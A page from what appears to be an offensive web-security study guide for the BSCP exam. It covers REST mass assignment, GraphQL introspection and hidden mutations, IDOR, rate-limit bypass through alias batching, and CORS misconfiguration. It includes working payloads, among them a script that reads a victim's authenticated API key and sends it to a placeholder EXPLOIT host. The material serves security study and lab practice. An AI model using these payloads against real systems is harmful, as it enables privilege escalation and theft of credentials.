Skip to content

API / GraphQL / CORS

← Back to index · Stage 2 (escalate / exfil) · Read the mindset page first.

Why these exist as a group: APIs expose more surface than the UI uses. A REST endpoint often accepts more fields than the form shows (so you set isAdmin yourself — mass assignment); GraphQL will describe its entire schema if you ask (introspection), including mutations the UI hides; and a CORS policy that reflects your Origin with credentials lets your page read the victim's authenticated responses. On BSCP these are Stage-2 escalation routes.

The one rule: APIs reward enumeration — read the schema, the methods, and the full object the API returns. The extra field it accepts or returns is the bug. Introspect; don't brute blindly.

Decision tree

flowchart TD
  A["API endpoint"] --> B{"Type?"}
  B -->|REST/JSON| R["Mass assignment + methods"]
  B -->|GraphQL| G["Introspect the schema"]
  B -->|reads cross-origin| C["Check the CORS policy"]
  R --> R1["Add isAdmin / roleid to the body"]
  G --> G1["Find hidden mutations / fields"]
  C --> C1["Reflected Origin + credentials?"]
  R1 --> WIN["Escalate / exfil"]
  G1 --> WIN
  C1 --> WIN

1. REST & mass assignment — why it works

Why: the server binds your JSON straight onto a model object; if it doesn't whitelist fields, you can set any model property — including isAdmin or roleid the UI never exposes.

PATCH /api/user/me
{"username":"me","isAdmin":true}        # GET the object first to learn the EXACT field names/casing
Also try other verbs (PUT/PATCH/DELETE) and .json/Accept changes — a different method may skip the check.

2. GraphQL — why introspection is the key

Why: GraphQL can return its own schema on request — every type, field, and mutation, including ones the UI never calls. That's your map of hidden, possibly-unauthorised operations.

{__schema{types{name fields{name}} mutationType{fields{name args{name}}}}}   # full schema
mutation{ updateUser(id:1,isAdmin:true){id} }       # call a hidden mutation
{ user(id:"administrator"){ email apiKey } }        # IDOR via a resolver that doesn't authorise
{ a:login(pw:"0000"){ok} b:login(pw:"0001"){ok} }   # alias batching to dodge rate limits

3. CORS — why reflected Origin + credentials is dangerous

Why: if an endpoint reflects your Origin into Access-Control-Allow-Origin and sets Allow-Credentials: true, then a page on your origin can make a credentialed request to the target and read the response — the browser allows it because the server said your origin is trusted.

<script>fetch('https://TARGET/api/key',{credentials:'include'})
 .then(r=>r.text()).then(d=>location='https://EXPLOIT/?'+d)</script>
<!-- also try Origin: null (from a sandboxed iframe) -->

Failure modes

  • Mass assignment ignored → GET the object first for exact field names/casing (admin vs isAdmin).
  • Introspection disabled → use field-suggestion probing or a GraphQL schema tool to reconstruct it.
  • Mutation rejected → check required args and auth; try it against your own object first to learn the shape.
  • CORS not reflected → try Origin: null or a trusted-subdomain value; without Allow-Credentials you can't read authed data.
  • Rate limited → batch with GraphQL aliases to collapse many attempts into one request.